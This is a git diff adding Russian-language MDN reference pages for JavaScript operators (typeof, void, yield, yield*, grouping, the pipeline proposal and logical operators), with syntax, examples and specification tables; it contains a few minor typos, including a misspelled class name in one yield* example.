+<p>Исправление было предложено в ECMAScript (через отключение), но <a href="http://wiki.ecmascript.org/doku.php?id=harmony:typeof_null">было отклонено</a>. Это привело бы к тому, что <code>typeof null === 'null'</code>.</p>
+
+<h3 id="Использование_оператора_new">Использование оператора <code>new</code></h3>
+
+<pre class="brush:js">// Все функции-конструкторы, созданные с помощью 'new', будут иметь тип 'object'
+var str = new String('String');
+var num = new Number(100);
+
+typeof str; // Вернёт 'object'
+typeof num; // Вернёт 'object'
+
+// Но существует исключение для конструктора Function
+
+var func = new Function();
+
+typeof func; // Вернёт 'function'
+</pre>
+
+<h3 id="Регулярные_выражения">Регулярные выражения</h3>
+
+<p>Вызываемые регулярные выражения были нестандартным дополнением в некоторых браузерах.</p>
+
+<pre class="brush:js">typeof /s/ === 'function'; // Chrome 1-12 Не соответствует ECMAScript 5.1
+typeof /s/ === 'object';   // Firefox 5+  Соответствует ECMAScript 5.1
+</pre>
+
+<h3 id="Ошибки_связанные_с_временными_мёртвыми_зонами">Ошибки, связанные с временными мёртвыми зонами</h3>
+
+<p>До ECMAScript 2015, гарантировалось, что оператор <code>typeof</code> вернёт строку для любого операнда, с которым он был вызван. Это изменилось после добавления неподнимающихся объявлений <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code> and <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/const">const</a></code> с блочной областью  видимости. Теперь, если переменные объявлены с помощью <code>let</code> и <code>const</code>, и для них вызывается <code>typeof</code> в блоке объявления переменных, но до объявления, то выбрасывается <code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError">ReferenceError</a></code>. Поведение отличается от необъявленных переменных, для которых <code>typeof</code> вернёт 'undefined'. Переменные с блочной областью видимости находятся в "<a href="/ru/docs/Web/JavaScript/Reference/Statements/let#Temporal_Dead_Zone_and_errors_with_let">временной мёртвой зоне</a>", которая длится от начала блока до момента объявления переменных. В этой зоне попытка доступа к переменным выбрасывает исключение.</p>
+
+<pre class="brush: js">typeof undeclaredVariable === 'undefined';
+typeof newLetVariable; let newLetVariable; // ReferenceError
+typeof newConstVariable; const newConstVariable = 'hello'; // ReferenceError
+</pre>
+
+<h3 id="Исключения">Исключения</h3>
+
+<p>Во всех текущих браузерах существует нестандартный host-объект {{domxref("document.all")}}, который имеет тип Undefined.</p>
+
+<pre class="brush:js">typeof document.all === 'undefined';
+</pre>
+
+<p>Хотя спецификация разрешает собственные имена типов для нестандартных экзотических объектов, требуется чтобы эти имена отличались от предопределённых. Ситуация, когда <code>document.all</code> имеет тип <code>undefined</code> должна рассматриваться как исключительное нарушение правил.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-typeof-operator', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.3', 'The typeof Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализовано в JavaScript 1.1</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.operators.typeof")}}</p>
+
+<h2 id="IE-специфичные_замечания">IE-специфичные замечания</h2>
+
+<p>В IE 6, 7 и 8 многие host-объекты являются объектами, но не функциями. Например:</p>
+
+<pre class="brush: js">typeof alert === 'object'</pre>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a></code></li>
+ <li><a href="http://es-discourse.com/t/why-typeof-is-no-longer-safe/15">Why typeof is no longer "safe"</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html
new file mode 100644
index 0000000000..e415aacae7
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/void/index.html
@@ -0,0 +1,150 @@
+---
+title: void operator
+slug: Web/JavaScript/Reference/Operators/void
+tags:
+  - JavaScript
+  - Операторы
+  - Унарные
+translation_of: Web/JavaScript/Reference/Operators/void
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Оператор <code>void</code></strong> вычисляет переданное <em>выражение</em> и возвращает {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">void <em>expression</em></pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Этот оператор позволяет вставлять выражения, которые производят дополнительные действия, в места, где ожидается {{jsxref("Global_Objects/undefined", "undefined")}}.</p>
+
+<p>Оператор <code>void</code> часто используется для получения примитивного значения <code>undefined</code>, используя <code>"void(0)"</code> (что эквивалентно <code>"void 0"</code>). В подобных случаях можно просто использовать глобальную переменную {{jsxref("Global_Objects/undefined", "undefined")}} (предполагая, что её значение по умолчанию не было изменено).</p>
+
+<h2 id="Самовызывающаяся_функция_(IIFE)">Самовызывающаяся функция (IIFE)</h2>
+
+<p>С оператором void можно использовать самовызывающиеся функции.</p>
+
+<pre class="brush: js">void function iife() {
+    var bar = function () {};
+    var baz = function () {};
+    var foo = function () {
+        bar();
+        baz();
+     };
+    var biz = function () {};
+
+    foo();
+    biz();
+}();
+</pre>
+
+<h2 id="JavaScript_URIs">JavaScript URIs</h2>
+
+<p>Когда браузер переходит по <code>javascript: URI</code>, он вычисляет код в <code>URI</code> и заменяет содержание страницы возвращенным значением, если оно не равно {{jsxref("Global_Objects/undefined", "undefined")}}. Можно воспользоваться оператором <code>void</code> для возврата {{jsxref("Global_Objects/undefined", "undefined")}}. Например:</p>
+
+<pre class="brush: html">&lt;a href="javascript:void(0);"&gt;
+  Click here to do nothing
+&lt;/a&gt;
+
+&lt;a href="javascript:void(document.body.style.backgroundColor='green');"&gt;
+  Click here for green background
+&lt;/a&gt;
+</pre>
+
+<p>Однако заметим, что не рекомендуется использовать псевдо-протокол <code>javascript:</code>.  Лучше прибегнуть к другим альтернативам, таким, как обработчики событий.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-void-operator', 'The void Operator')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-void-operator', 'The void Operator')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.4.2', 'The void Operator')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.1.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><code><a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a></code></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/yield/index.html b/files/ru/web/javascript/reference/operators/yield/index.html
new file mode 100644
index 0000000000..04552374c8
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/yield/index.html
@@ -0,0 +1,94 @@
+---
+title: yield
+slug: Web/JavaScript/Reference/Operators/yield
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Генераторы
+  - Итераторы
+  - Оператор
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Ключевое слово <code>yield</code> используется для остановки и возобновления функций-генераторов ({{jsxref("Statements/function*", "function*")}} или <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">legacy generator function</a>).</p>
+
+<p>{{EmbedInteractiveExample("pages/js/expressions-yield.html")}}</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox language-html notranslate"> [<em>rv</em>] = <strong>yield</strong> [[выражение]];</pre>
+
+<dl>
+ <dt><code>выражение</code></dt>
+ <dd>Возвращаемое выражение. Если не указано, то возвращается значение <code>undefined</code>.</dd>
+ <dt><code>rv</code></dt>
+ <dd>Возвращает необязательное значение, которое передаётся в <code>next()</code> генератора, чтобы возобновить его выполнение.</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Ключевое слово <code>yield</code> вызывает остановку функции-генератора и возвращает текущее значение выражения, указанного после ключевого слова <code>yield</code>. Его можно рассматривать как аналог ключевого слова <code>return</code> в функции-генераторе.</p>
+
+<p>На самом деле ключевое слово <code>yield</code>  возвращает объект с двумя параметрами, <code>value</code> и <code>done</code>. При этом, <code>value</code> является результатом вычисления выражения после <code>yield</code>, а <code>done</code> указывает, была ли завершена функция-генератор.</p>
+
+<p>Во время остановки на операторе <code>yield</code>, выполнение кода в функции-генераторе не возобновится, пока не будет вызван метод <code>next()</code> возвращаемого функцией <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/Generator">объекта-генератора</a>. Это предоставляет непосредственный контроль за выполнением генератора и возвратом его значений.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<p>Следующий фрагмент кода содержит определение функции-генератора и вспомогательной функции:</p>
+
+<pre class="brush: js notranslate">function* foo(){
+  var index = 0;
+  while(index &lt;= 2) // при достижении 2, done в yield станет true, а value undefined;
+    yield index++;
+}</pre>
+
+<p>После того как тело функции-генератора определено, оно может использоваться для получения итератора:</p>
+
+<pre class="brush: js notranslate">var iterator = foo();
+console.log(iterator.next()); // { value:0, done:false }
+console.log(iterator.next()); // { value:1, done:false }
+console.log(iterator.next()); // { value:2, done:false }
+console.log(iterator.next()); // { value:undefined, done:true }
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#prod-YieldExpression', 'Yield')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-YieldExpression', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("javascript.operators.yield")}}</p>
+
+<h2 id="See_also" name="See_also">Cмотрите также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/JavaScript/Guide/The_Iterator_protocol">Итераторы</a></li>
+ <li><a href="/ru/docs/Web/JavaScript/Reference/Statements/function*">Генераторы</a> </li>
+</ul>
+
+<div id="gtx-trans" style="position: absolute; left: 113px; top: 1785px;">
+<div class="gtx-trans-icon"></div>
+</div>
diff --git a/files/ru/web/javascript/reference/operators/yield_star_/index.html b/files/ru/web/javascript/reference/operators/yield_star_/index.html
new file mode 100644
index 0000000000..c20f6969e6
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/yield_star_/index.html
@@ -0,0 +1,227 @@
+---
+title: yield*
+slug: Web/JavaScript/Reference/Operators/yield*
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p><strong>Выражение <code>yield*</code> </strong>используется для того, чтобы "передать упраевление" функцией-генератором другому {{jsxref("Statements/function*", "генератору")}} или итерируемому объекту.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"> yield* [[expression]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Итерируемый объект</dd>
+</dl>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Выражение <code>yield*</code> в функции-генераторе принимает итерируемый объект и возвращает его значения по очереди, как если бы эта функция-генератор возвращала иъ сама.</p>
+
+<p>Значение выражения <code>yield*</code> само по себе равно посленему значению итурируемого объекта (т.е., того когда <code>done</code> равно true).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Передача_другому_генератору">Передача другому генератору</h3>
+
+<p>В следующем примере, значения полученные из <code>g1()</code> возвращаются из <code>g2</code> вызовами <code>next</code>, как будто бы она вычислила их сама.</p>
+
+<pre class="brush: js notranslate">function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Другие_итерируемые_объекты">Другие итерируемые объекты</h3>
+
+<p>Помимо объектов генераторов, <code>yield*</code> может перебирать другие виды итерируемых объектов, т.е. массивы, строки, объекты аргументов и др.</p>
+
+<pre class="brush: js notranslate">function* g3() {
+  yield* [1, 2];
+  yield* "34";
+  yield* Array.from(arguments);
+  // Определение этого итератора ниже
+  yield* new PowesOfTwo(4)
+}
+
+var iterator = g3(5, 6);
+
+// Значения из массива
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+// Из строки
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+// Из аргументов
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+// Из специального итератора
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+
+console.log(iterator.next()); // { value: undefined, done: true }
+
+// Итератор, который возвращает все степени двойки
+// до maximum включительно
+class PowersOfTwo {
+  constructor(maximum) {
+    this.maximum = maximum
+    this.value = 1
+  }
+  [Symbol.iterator]() {
+    const self = this
+    return {
+      next() {
+        if(self.value &gt; self.maximum) return { done: true }
+
+        const value = self.value
+        self.value *= 2
+        return { done: false, value }
+      }
+    }
+  }
+}
+</pre>
+
+<h3 id="Собственное_значение_выражения_yield*">Собственное значение выражения <code>yield*</code></h3>
+
+<p><code>yield*</code> - это выражение, а не оператор, поэтому оно имеет значение, равное последнему значению итератора </p>
+
+<pre class="brush: js notranslate">function* g4() {
+  yield* [1, 2, 3];
+  return "foo";
+}
+
+var result;
+
+function* g5() {
+  result = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+                              // g4() в этой точке вернёт { value: "foo", done: true }
+
+console.log(result);          // "foo"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES6', '#', 'Yield')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("27.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Специфичные_для_Firefox_примечания">Специфичные для Firefox примечания</h2>
+
+<ul>
+ <li>Начиная с Gecko 33 {{geckoRelease(33)}}, разбор выражений yield было приведено к соответствию с последними спецификациями ES6 ({{bug(981599)}}):
+  <ul>
+   <li>Реализована корректная обработка разрыва строки. Разрыва строки между "yield" и "*" быть не может. Такой код вызовет {{jsxref("SyntaxError")}}:
+    <pre class="brush: js notranslate">function* foo() {
+  yield
+  *[];
+}</pre>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">The Iterator protocol</a></li>
+ <li>{{jsxref("Statements/function*", "function*")}}</li>
+ <li>{{jsxref("Operators/function*", "function* expression")}}</li>
+ <li>{{jsxref("Operators/yield", "yield")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/группировка/index.html b/files/ru/web/javascript/reference/operators/группировка/index.html
new file mode 100644
index 0000000000..ecc180ab21
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/группировка/index.html
@@ -0,0 +1,91 @@
+---
+title: Оператор группировки
+slug: Web/JavaScript/Reference/Operators/Группировка
+tags:
+  - JavaScript
+  - Оператор
+  - Основные выражения
+translation_of: Web/JavaScript/Reference/Operators/Grouping
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Оператор группировки <code>( )</code> контролирует порядок выполнения в выражениях.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-groupingoperator.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"> ( )</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Оператор группировки из пары круглых скобок вокруг выражения или подвыражения, переопределяющего нормальный <a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">приоритет операторов</a>, так что выражения с меньшим приоритетом выполняются раньше выражений с большим.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Переопределяем порядок, когда сначала выполняется умножение и деление, а потом сложение и вычитание, чтобы сначала выполнить сложение.</p>
+
+<pre class="brush:js">let a = 1;
+let b = 2;
+let c = 3;
+
+// обычный порядок
+a + b * c     // 7
+// выполнится так
+a + (b * c)   // 7
+
+// теперь переопределим порядок
+// сложение будет до умножения
+(a + b) * c   // 9
+
+// что эквивалентно следующему
+a * c + b * c // 9
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+  <tbody>
+    <tr>
+      <th scope="col">Спецификация</th>
+      <th scope="col">Статус</th>
+      <th scope="col">Комментарий</th>
+    </tr>
+    <tr>
+      <td>{{SpecName('ESDraft', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+      <td>{{Spec2('ESDraft')}}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>{{SpecName('ES6', '#sec-grouping-operator', 'The Grouping Operator')}}</td>
+      <td>{{Spec2('ES6')}}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>{{SpecName('ES5.1', '#sec-11.1.6', 'The Grouping Operator')}}</td>
+      <td>{{Spec2('ES5.1')}}</td>
+      <td> </td>
+    </tr>
+    <tr>
+      <td>{{SpecName('ES1', '#sec-11.1.4', 'The Grouping Operator')}}</td>
+      <td>{{Spec2('ES1')}}</td>
+      <td>Изначальное определение.</td>
+    </tr>
+  </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("javascript.operators.grouping")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+  <li><a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Приоритет операторов</a></li>
+  <li>{{jsxref("Operators/delete", "delete")}}</li>
+  <li>{{jsxref("Operators/typeof", "typeof")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/конвейерный_оператор/index.html b/files/ru/web/javascript/reference/operators/конвейерный_оператор/index.html
new file mode 100644
index 0000000000..fa43c6d346
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/конвейерный_оператор/index.html
@@ -0,0 +1,77 @@
+---
+title: Конвейерный оператор
+slug: Web/JavaScript/Reference/Operators/Конвейерный_оператор
+tags:
+  - Experimental
+  - JavaScript
+  - Operator
+  - Оператор
+  - Экспериментальный
+translation_of: Web/JavaScript/Reference/Operators/Pipeline_operator
+---
+<div>{{jsSidebar("Operators")}} {{SeeCompatTable}}</div>
+
+<p>Экспериментальный конвейерный оператор <code>|&gt;</code> (в настоящее время на этапе 1) позволяет создавать читаемые цепочки вызовов функций. В основном, конвейерный оператор предоставляет возможность вызова функции с одним аргументом, и позволяет написать:</p>
+
+<pre class="brush: js"><code>let url = "%21" |&gt; decodeURI;</code>
+</pre>
+
+<p>Эквивалентный вызов в традиционном синтаксисе выглядит следующим образом:</p>
+
+<pre class="brush: js"><code>let url = decodeURI("%21");</code>
+</pre>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>выражение</em> |&gt; <em>функция</em></pre>
+
+<p>Значение указанного <code>выражения</code> передаётся в <code>функцию</code> в качестве единственного параметра.</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Цепочки_вызовов_функций">Цепочки вызовов функций</h3>
+
+<p>Конвейерный оператор позволяет улучшить читаемость кода, в случае когда встречается цепочка из нескольких функций.</p>
+
+<pre class="brush: js">const double = (n) =&gt; n * 2;
+const increment = (n) =&gt; n + 1;
+
+// без конвейерного оператора
+double(increment(double(double(5)))); // 42
+
+// с конвейерным оператором
+5 |&gt; double |&gt; double |&gt; increment |&gt; double; // 42
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="http://tc39.github.io/proposal-pipeline-operator/">Pipeline operator draft</a></td>
+   <td>Этап 1</td>
+   <td>Еще не включен в спецификацию ECMAScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposals">TC39 proposals</a></li>
+</ul>
diff --git a/files/ru/web/javascript/reference/operators/логические_операторы/index.html b/files/ru/web/javascript/reference/operators/логические_операторы/index.html
new file mode 100644
index 0000000000..43878ea58c
--- /dev/null
+++ b/files/ru/web/javascript/reference/operators/логические_операторы/index.html
@@ -0,0 +1,299 @@
+---
+title: Логические операторы
+slug: Web/JavaScript/Reference/Operators/Логические_операторы
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<div>Логические операторы используются, как правило, с примитивами {{jsxref("Boolean")}} (логического) типа. В этом случае результатом работы оператора является значение типа Boolean. Между тем операторы &amp;&amp; и || возвращают, вообще говоря, значение одного из операнда, потому при использовании в качестве аргументов этих операторов величин, тип которых отличен от Boolean, тип возвращаемого значения может быть отличным от Boolean.</div>
+
+<div></div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>В таблице приведены описания логических операторов:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Оператор</th>
+   <th>Использование</th>
+   <th>Описание</th>
+  </tr>
+  <tr>
+   <td>Логическое И (&amp;&amp;)</td>
+   <td><code><em>expr1</em> &amp;&amp; <em>expr2</em></code></td>
+   <td>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в false; иначе возвращает значение <code>expr2</code>. Таким образом, при использовании с величинами типа Boolean оператор &amp;&amp; вернет true, если оба операнда могут быть преобразованы в true; иначе оператор &amp;&amp; вернет false. </td>
+  </tr>
+  <tr>
+   <td>Логическое ИЛИ (<code>||</code>)</td>
+   <td><code><em>expr1</em> || <em>expr2</em></code></td>
+   <td>
+    <p>Возвращает значение <code>expr1</code>, если оно может быть преобразовано в true; иначе возвращает значение <code>expr2.</code> Таким образом, при использовании с величинами типа Boolean оператор <code>||</code> вернет <code>true</code> если хоть один из них равен <code>true</code>; в других случаях вернет <code>false</code>.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>Логическое НЕ (<code>!</code>)</td>
+   <td><code>!<em>expr</em></code></td>
+   <td>Возвращает false если значение <code>expr </code>можно<font face="Consolas, Liberation Mono, Courier, monospace"> </font>привести к <code>true</code>;  в противоположном случае возвращает <code>true</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Примеры значений выражений, которые могут быть преобразованы в <code>false</code>:</p>
+
+<ul>
+ <li><code>null</code>;</li>
+ <li><code>NaN;</code></li>
+ <li><code>0</code>;</li>
+ <li>пустая строка (<code>""</code>); </li>
+ <li><code>undefined</code>.</li>
+</ul>
+
+<p>Хоть операторы <code>&amp;&amp;</code> и <code>||</code> могут использовать операнды с не булевыми значениями, но они всёравно рассматриваются, как булевы операторы, т.к. их возвращаемые ими значения всегда могут быть сконвертированы в булевы значения.</p>
+
+<h3 id="Короткая_схема_вычислений">Короткая схема вычислений</h3>
+
+<p>Так как логические операторы выполняются слева направо, они проверяются на "короткие вычисления" по следующим правилам:</p>
+
+<ul>
+ <li><code>false &amp;&amp; (<em>anything)</em></code> короткое вычисление дающее false.</li>
+ <li><code>true || (<em>anything)</em></code> короткое замыкание дающее true.</li>
+</ul>
+
+<p>Часть выражения <code>(<em>anything)</em></code> не вычисляется. Если в ней есть вызов функции, то эта функция не будет вызвана.</p>
+
+<p>Например, следующие две функции делают одно и тоже:</p>
+
+<pre class="brush: js">function shortCircuitEvaluation() {
+  doSomething() || doSomethingElse()
+}
+
+function equivalentEvaluation() {
+  var flag = doSomething();
+  if (!flag) {
+    doSomethingElse();
+  }
+}
+</pre>
+
+<p>Однако, следующие выражения дают разный результат в связи с <a href="/ru/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">приоритетом операторов</a>.</p>
+
+<pre class="brush: js">false &amp;&amp; true  || true      // вернёт true
+false &amp;&amp; (true || true)     // вернёт false</pre>
+
